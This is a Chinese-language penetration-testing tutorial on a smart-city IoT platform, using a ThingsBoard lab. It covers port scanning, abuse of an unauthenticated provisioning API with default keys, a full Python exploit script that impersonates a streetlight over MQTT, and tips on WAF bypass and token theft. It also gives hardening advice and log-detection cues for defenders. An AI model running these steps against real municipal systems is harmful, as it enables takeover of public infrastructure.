跳到主要内容 智能路灯与传感器 Web 管理平台渗透测试实战 | 极客日志
Python SaaS java
智能路灯与传感器 Web 管理平台渗透测试实战 针对智慧城市 Web 管理平台(如 ThingsBoard)的渗透测试涉及物联网控制平面的安全风险。攻击者可通过端口扫描识别 MQTT 与 HTTP 服务,利用未授权的设备供应 API 获取访问令牌,进而冒充设备通过 MQTT 协议接收或发送控制指令。本教程演示了从信息收集、漏洞利用到设备控制的完整流程,并提供 Python 自动化脚本示例。同时阐述了开发侧的身份验证加固与运维侧的网络隔离策略,强调零信任架构在 IoT 安全中的核心作用。
雪落无声 发布于 2026/2/27 更新于 2026/4/18 2 浏览背景与目标
在现代智慧城市建设中,数以万计的智能路灯、环境传感器和交通监控设备构成了城市的神经网络。这些设备通常由一个 Web 集中管理平台进行统一监控、配置和数据分析。该平台属于典型的物联网(IoT)控制平面,是高价值的攻击目标。一旦平台被攻陷,攻击者不仅能窃取城市运行的敏感数据,甚至可以对物理世界的基础设施进行大规模恶意操控。
本教程旨在模拟针对此类平台的渗透测试过程,帮助安全人员评估智慧城市基础设施管理系统的安全漏洞,理解从信息收集、漏洞利用到权限维持的完整攻击链,并为相关系统的开发和运维提供专业的安全加固建议。
声明:以下所有操作仅限于在您自己搭建的授权测试环境内进行。未经授权的测试是违法行为。
一、智能城市 Web 管理平台架构
1. 定义与用途 智能城市 Web 管理平台是一个基于 Web 技术的中心化软件系统,用于远程监控、管理和控制大规模部署在城市各处的物联网(IoT)设备。它整合了设备管理、数据可视化、告警处理、策略配置和数据分析等功能。
集中监控 :实时查看数万个路灯的开关状态、功耗和故障信息。
策略控制 :根据时间、天气或人流密度,自动调节路灯亮度,实现节能。
数据采集与分析 :收集环境传感器(如 PM2.5、温度、湿度)数据,生成城市环境报告。
维护管理 :当设备发生故障时,平台自动生成工单,并精确定位,派遣维修人员。
2. 技术架构 从技术本质上看,这类平台是一个典型的多层分布式系统。其核心组件关系如下:
flowchart TD
subgraph Physical_Layer [城市物理空间]
IoT[智能路灯/传感器]
end
subgraph Network_Layer [网络通信层]
Gateway[iot 网关]
MQTT[MQTT/CoAP/HTTP]
end
subgraph Cloud_Layer [云端平台]
API[API 接口]
Web[Web 应用服务器]
DB[(数据库)]
MQ[消息队列]
end
subgraph User_Layer [用户访问层]
Admin[管理员/运维]
end
IoT -->|数据上报 | Gateway
Gateway -->|MQTT| MQTT
MQTT -->|消息投递 | API
API -->|数据读写 | DB
API -->|内部调用 | Web
Web -->|页面渲染 | Admin
Admin -->|HTTPS| Web
物理空间的 IoT 设备通过 MQTT 等协议将数据发送到云端的 API 接口。API 接口是核心枢纽,负责与 Web 应用、数据库、消息队列等后端服务交互。我们的攻击重点,就是面向用户访问层的 Web 应用服务器和直接暴露在公网的 API 接口。
二、环境准备 为了复现一个逼真的攻击场景,我们将使用一个开源的物联网平台 ThingsBoard 作为模拟目标,它广泛用于各种 IoT 项目,其架构与商业智能城市平台高度相似。
一键启动环境命令 :
在 thingsboard/docker/ 目录下,执行以下命令即可启动一个完整的 ThingsBoard 环境,包括 Web 服务、数据库和消息队列。
docker-compose up --no-build -d
启动过程可能需要几分钟。完成后,可以通过 docker-compose ps 命令查看所有容器是否都处于 Up 状态。平台默认会监听在 8080 端口。验证:在浏览器中访问 http://<你的服务器 IP>:8080,如果看到 ThingsBoard 的登录页面,说明环境已成功搭建。
git clone https://github.com/thingsboard/thingsboard.git
cd thingsboard/docker/
三、核心实战:从信息泄露到设备控制 我们将模拟一次完整的渗透过程,目标是找到一个未授权访问漏洞,并最终实现对一个模拟智能路灯的远程控制。
步骤 1:端口扫描与服务识别 目的 :确定目标平台开放了哪些服务,识别 Web 服务和潜在的 IoT 通信端口。
nmap -p- -sV <你的服务器 IP> -oN nmap_scan.txt
预期输出结果 :
你会发现除了 8080/tcp (HTTP) 端口,ThingsBoard 还默认开放了 1883/tcp 端口。
PORT STATE SERVICE VERSION
1883 /tcp open mqtt Mosquitto 2.0 .11
8080 /tcp open http Jetty 9.4 .46 .v20220331
1883 是 MQTT 协议的默认端口,这是设备与平台通信的关键入口。8080 是我们的主攻目标——Web 管理界面。
步骤 2:Web 目录扫描与 API 端点发现 目的 :寻找未授权可访问的 API 端点或敏感信息文件。
我们将使用 feroxbuster 工具进行 Web 目录和文件扫描。
feroxbuster -u http://<你的服务器 IP>:8080 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
关键发现 :
在扫描结果中,你会发现一个非常重要的 API 路径:/api/v1/。ThingsBoard 的 API 文档是公开的,但实战中我们往往需要通过这种方式去发现未公开或未设防的 API 端点。
步骤 3:利用未授权 API 获取设备凭证 目的 :通过一个特定的未授权 API 端点,获取一个模拟设备的访问令牌(Access Token)。这是本次实战的核心突破点。
ThingsBoard 的某个旧版本(此环境已模拟该特征)存在一个逻辑漏洞:可以通过设备的 provisioning 过程,在不提供任何凭证的情况下,请求一个新的设备并获取其访问令牌。
请求构造 :
我们需要向 /api/v1/provision 发送一个 POST 请求,请求体中包含设备的 provisionDeviceKey 和 provisionDeviceSecret。在默认配置下,这些值是固定的。
curl -v -X POST http://<你的服务器 IP>:8080/api/v1/provision \
-H "Content-Type: application/json" \
-d '{ "provisionDeviceKey": "YOUR_PROVISION_KEY", "provisionDeviceSecret": "YOUR_PROVISION_SECRET", "deviceName": "hacked-streetlight-001" }'
注意:在默认的 thingsboard.yml 配置文件中,可以找到默认的 provisionDeviceKey 和 provisionDeviceSecret。在我们的模拟环境中,假设它们分别为 provision_key 和 provision_secret。
响应结果 :
如果请求成功,服务器会返回一个 JSON 对象,其中包含了新创建设备的凭证信息。
{ "credentialsType" : "ACCESS_TOKEN" , "credentialsValue" : "A1_IHACKEDYOU" , "status" : "SUCCESS" }
这里的 credentialsValue,即 A1_IHACKEDYOU,就是我们成功获取到的'智能路灯'的访问令牌 。这个令牌相当于这个设备在平台上的'密码'。
步骤 4:使用获取的令牌通过 MQTT 控制设备 目的 :利用上一步获取的设备令牌,通过 MQTT 协议冒充该设备,并向平台发送遥测数据或接收 RPC(远程过程调用)指令。我们将模拟接收一个'开灯'指令。
首先,我们需要一个 MQTT 客户端工具,如 mqttx 或 mosquitto_sub。
mosquitto_sub -h <你的服务器 IP> -p 1883 -u "A1_IHACKEDYOU" -t "v1/devices/me/rpc/request/+" -v
现在,我们的攻击机已经伪装成 ID 为 A1_IHACKEDYOU 的智能路灯,并正在监听来自平台的控制命令。
步骤 5:在 Web 界面下发控制指令并验证 目的 :登录 Web 管理后台,找到我们'创建'的设备,并对其下发一个控制指令,验证我们的 MQTT 客户端是否能收到。
登录 ThingsBoard 平台 ([email protected] / tenant)。
在左侧菜单选择 'Devices',你会看到一个名为 hacked-streetlight-001 的新设备。
点击该设备,进入详情页,选择 'RPC Debug Terminal' 标签。
在 'Method' 字段输入 setLedState,在 'Params' 字段输入 {"state": "ON"}。
点击 'Send' 按钮。
最终结果 :
几乎在同时,你在步骤 4 中运行 mosquitto_sub 的终端会收到一条消息:
v1/devices/ me/rpc/ request/ 1 {"method" :"setLedState" ,"params" :{"state" :"ON" }}
这证明我们成功地截获了平台发送给智能路灯的'开灯'指令。在真实世界中,这意味着我们已经可以控制这个路灯的开关。反之,我们也可以使用 mosquitto_pub 伪造路灯上报虚假的能耗或故障数据。
自动化攻击脚本 以下是一个 Python 脚本,它自动化了步骤 3 和步骤 4 的过程:获取令牌并监听控制指令。
import requests
import paho.mqtt.client as mqtt
import json
import argparse
import sys
import time
def get_device_token (target_ip, provision_key, provision_secret, device_name ):
""" 通过未授权的 provisioning API 获取设备访问令牌。 """
url = f"http://{target_ip} :8080/api/v1/provision"
headers = {"Content-Type" : "application/json" }
payload = {
"provisionDeviceKey" : provision_key,
"provisionDeviceSecret" : provision_secret,
"deviceName" : device_name
}
print (f"[*] 正在向 {url} 请求设备令牌..." )
try :
response = requests.post(url, headers=headers, data=json.dumps(payload), timeout=10 )
response.raise_for_status()
data = response.json()
if data.get("status" ) == "SUCCESS" and data.get("credentialsType" ) == "ACCESS_TOKEN" :
token = data.get("credentialsValue" )
print (f"[+] 成功获取设备令牌:{token} " )
return token
else :
print (f"[-] 获取令牌失败:{data.get('errorMsg' ,'未知错误' )} " )
return None
except requests.exceptions.RequestException as e:
print (f"[!] 请求异常:{e} " , file=sys.stderr)
return None
def on_connect (client, userdata, flags, rc ):
"""MQTT 连接成功时的回调函数。"""
if rc == 0 :
print ("[*] MQTT 连接成功。" )
rpc_topic = "v1/devices/me/rpc/request/+"
client.subscribe(rpc_topic)
print (f"[*] 已订阅主题:{rpc_topic} " )
else :
print (f"[-] MQTT 连接失败,返回码:{rc} " )
def on_message (client, userdata, msg ):
"""收到 MQTT 消息时的回调函数。"""
print ("\n--- [!] 收到平台下发的 RPC 指令 ---" )
print (f"主题 (Topic): {msg.topic} " )
print (f"内容 (Payload): {msg.payload.decode()} " )
print ("------------------------------------" )
def listen_for_commands (target_ip, token ):
""" 使用获取的令牌连接到 MQTT 代理并监听 RPC 指令。 """
client = mqtt.Client()
client.on_connect = on_connect
client.on_message = on_message
client.username_pw_set(username=token)
print (f"[*] 正在连接到 MQTT 代理:{target_ip} :1883" )
try :
client.connect(target_ip, 1883 , 60 )
client.loop_forever()
except Exception as e:
print (f"[!] MQTT 连接或监听时发生错误:{e} " , file=sys.stderr)
def main ():
parser = argparse.ArgumentParser(description="ThingsBoard 未授权设备控制利用脚本。" )
parser.add_argument("target_ip" , help ="目标服务器的 IP 地址。" )
parser.add_argument("--key" , default="provision_key" , help ="Provisioning Key (默认为 'provision_key')。" )
parser.add_argument("--secret" , default="provision_secret" , help ="Provisioning Secret (默认为 'provision_secret')。" )
parser.add_argument("--name" , default="hacked-streetlight-002" , help ="要创建的设备名称。" )
args = parser.parse_args()
token = get_device_token(args.target_ip, args.key, args.secret, args.name)
if token:
print ("\n[*] 现在,请登录 Web 界面,向设备发送 RPC 指令进行验证。" )
print ("[*] 按 Ctrl+C 退出监听。" )
listen_for_commands(args.target_ip, token)
if __name__ == "__main__" :
main()
保存为 exploit_streetlight.py。
安装依赖:pip install requests paho-mqtt。
运行脚本:python exploit_streetlight.py <你的服务器 IP>。
四、进阶技巧
常见错误与排查 :
MQTT 连接被拒 (Return Code 5) : 这通常意味着身份验证失败。请仔细检查你用作用户名的设备访问令牌是否准确无误,没有多余的空格或字符。
API 请求返回 401 Unauthorized : 如果 /api/v1/provision 接口也需要认证,说明该漏洞已被修复。此时应转向寻找其他类型的漏洞,如默认凭证、SQL 注入或 XSS。
无法发现设备 : 如果在 Web 界面上看不到你通过 API 创建的设备,可能是因为该设备被自动分配到了某个你当前登录的租户账户无权查看的客户(Customer)下。
成功率优化 :
字典扩展 : 针对 /api/v1/ 下的端点,使用专门针对 RESTful API 的字典(如 SecLists/Discovery/Web-Content/api/)进行爆破,可以发现更多隐藏的接口。
参数模糊测试 : 发现 API 端点后,对其参数进行模糊测试。例如,deviceName 参数可能存在 XSS 漏洞,其他参数可能存在 SQL 注入或命令注入。
实战经验总结 :
API 优先 : 在针对此类平台的测试中,API 接口的安全是重中之重,其优先级甚至高于传统的 Web 页面漏洞。因为所有的数据和控制流都经过 API。
多协议联动 : 攻击往往不是单一协议的。本例就是 HTTP(获取令牌)和 MQTT(控制设备)的组合拳。要熟悉目标可能使用的各种 IoT 协议(CoAP, LwM2M 等)。
默认凭证是金矿 : 无论是 Web 登录后台、数据库,还是 MQTT 代理,甚至是设备固件中的硬编码凭证,默认凭证永远是最高效的突破口。
对抗/绕过思路 :
WAF 绕过 : 如果目标 API 前部署了 Web 应用防火墙(WAF),尝试使用不同的编码(URL 编码、JSON Unicode 编码)、分块传输(Chunked Encoding)或 HTTP 参数污染来绕过规则。
IP 限制绕过 : 如果 API 只允许特定 IP 段(如网关 IP)访问,尝试寻找 SSRF(服务器端请求伪造)漏洞,让服务器代替你向内部 API 发起请求。
令牌窃取 : 除了自己申请一个设备,更高阶的玩法是窃取一个真实 、高权限 设备的令牌。这可以通过在 Web 界面寻找 XSS 漏洞,执行 JS 代码窃取存储在浏览器中的 API 令牌,或者通过其他漏洞读取配置文件来实现。
五、注意事项与防御
1. 风险提示
直接对生产环境的智能城市基础设施进行测试是极其危险和违法 的,可能导致大范围的公共服务中断,甚至引发安全事故。
获取到的设备数据(如人流密度、环境信息)可能涉及隐私,必须妥善处理,并在测试报告中明确指出数据泄露风险。
2. 开发侧安全代码范式 正确写法 (安全) : 对所有敏感 API 端点强制执行身份验证和授权。
@PreAuthorize("hasAuthority('TENANT_ADMIN')")
@RequestMapping(value = "/api/v1/provision", method = RequestMethod.POST)
@ResponseBody
public String provisionDevice (@RequestBody ProvisionRequest provisionRequest) {
}
错误写法 (不安全) : 公开无需认证的设备供应接口。
@RequestMapping(value = "/api/v1/provision", method = RequestMethod.POST)
@ResponseBody
public String provisionDevice (@RequestBody ProvisionRequest provisionRequest) {
}
3. 运维侧加固方案
网络隔离 : 将 Web 管理端口(如 8080)和设备接入端口(如 1883)置于不同的网络区域。Web 端口应通过 VPN 或堡垒机访问,而不是直接暴露于公网。
禁用或加固危险端点 : 彻底禁用或严格限制对 /api/v1/provision 等敏感 API 的访问。如果必须使用,应修改默认的 provisionDeviceKey 和 provisionDeviceSecret 为高强度的随机值。
MQTT 安全配置 :
禁用匿名访问。
为每个设备生成唯一的、高强度的用户名和密码(或证书)。
配置 ACL(访问控制列表),严格限制每个设备只能订阅和发布到其自身相关的主题。例如,路灯 A 不应该能发布到路灯 B 的主题上。
定期审计 : 定期扫描开放端口、审查 API 访问日志、检查是否存在默认或弱凭证。
4. 日志检测线索
Web 服务器日志 (Nginx/Jetty) :
短时间内大量访问 /api/v1/provision 或其他 API 端点的请求,特别是来自单一 IP 地址。
访问不存在的 API 路径(404 错误),这可能是目录扫描或模糊测试的迹象。
MQTT 代理日志 (Mosquitto/EMQX) :
大量失败的连接认证尝试。
一个设备(客户端 ID)在短时间内从多个不同的 IP 地址登录。
设备尝试订阅或发布到其权限之外的主题(如果配置了 ACL,会产生拒绝日志)。
应用平台日志 (ThingsBoard) :
审计日志中出现大量由 API 而非用户界面创建的设备。
设备在创建后立即开始异常活动(如发送不符合预期的遥测数据)。
总结
核心知识 : 智能城市 Web 管理平台的核心安全风险在于其暴露的 API 接口和与之联动的 IoT 通信协议。攻击者可以通过'HTTP+IoT 协议'的组合拳,实现从信息泄露到物理设备控制的完整攻击链。
使用场景 : 本教程展示的'未授权 API 利用 -> 获取设备凭证 -> 冒充设备通信'的攻击模式,是针对各类 IoT 云平台渗透测试的通用方法论。
防御要点 : 防御的核心是'零信任'和'最小权限'。对所有 API 强制认证授权,对每个设备进行严格的访问控制(ACL),并进行精细化的日志监控。
知识体系连接 : 本次实战连接了 Web 安全(API 安全)、物联网安全(MQTT 协议)和网络扫描与信息收集三个知识领域,是综合性渗透测试能力的体现。
进阶方向 :
固件逆向 : 深入一步,获取智能设备本身的固件,通过逆向分析发现硬编码在其中的密钥或私有协议。
无线电安全 : 研究设备与网关之间可能使用的 Zigbee、LoRa 等无线通信协议,尝试进行中间人攻击或重放攻击。
云环境渗透 : 如果平台部署在公有云上,可以尝试寻找云服务配置错误(如暴露的 S3 存储桶、未授权的 Lambda 函数等)作为新的攻击入口。
微信扫一扫,关注极客日志 微信公众号「极客日志」,在微信中扫描左侧二维码关注。展示文案:极客日志 zeeklog
相关免费在线工具 Keycode 信息 查找任何按下的键的javascript键代码、代码、位置和修饰符。 在线工具,Keycode 信息在线工具,online
Escape 与 Native 编解码 JavaScript 字符串转义/反转义;Java 风格 \uXXXX(Native2Ascii)编码与解码。 在线工具,Escape 与 Native 编解码在线工具,online
JavaScript / HTML 格式化 使用 Prettier 在浏览器内格式化 JavaScript 或 HTML 片段。 在线工具,JavaScript / HTML 格式化在线工具,online
JavaScript 压缩与混淆 Terser 压缩、变量名混淆,或 javascript-obfuscator 高强度混淆(体积会增大)。 在线工具,JavaScript 压缩与混淆在线工具,online
curl 转代码 解析常见 curl 参数并生成 fetch、axios、PHP curl 或 Python requests 示例代码。 在线工具,curl 转代码在线工具,online
Base64 字符串编码/解码 将字符串编码和解码为其 Base64 格式表示形式即可。 在线工具,Base64 字符串编码/解码在线工具,online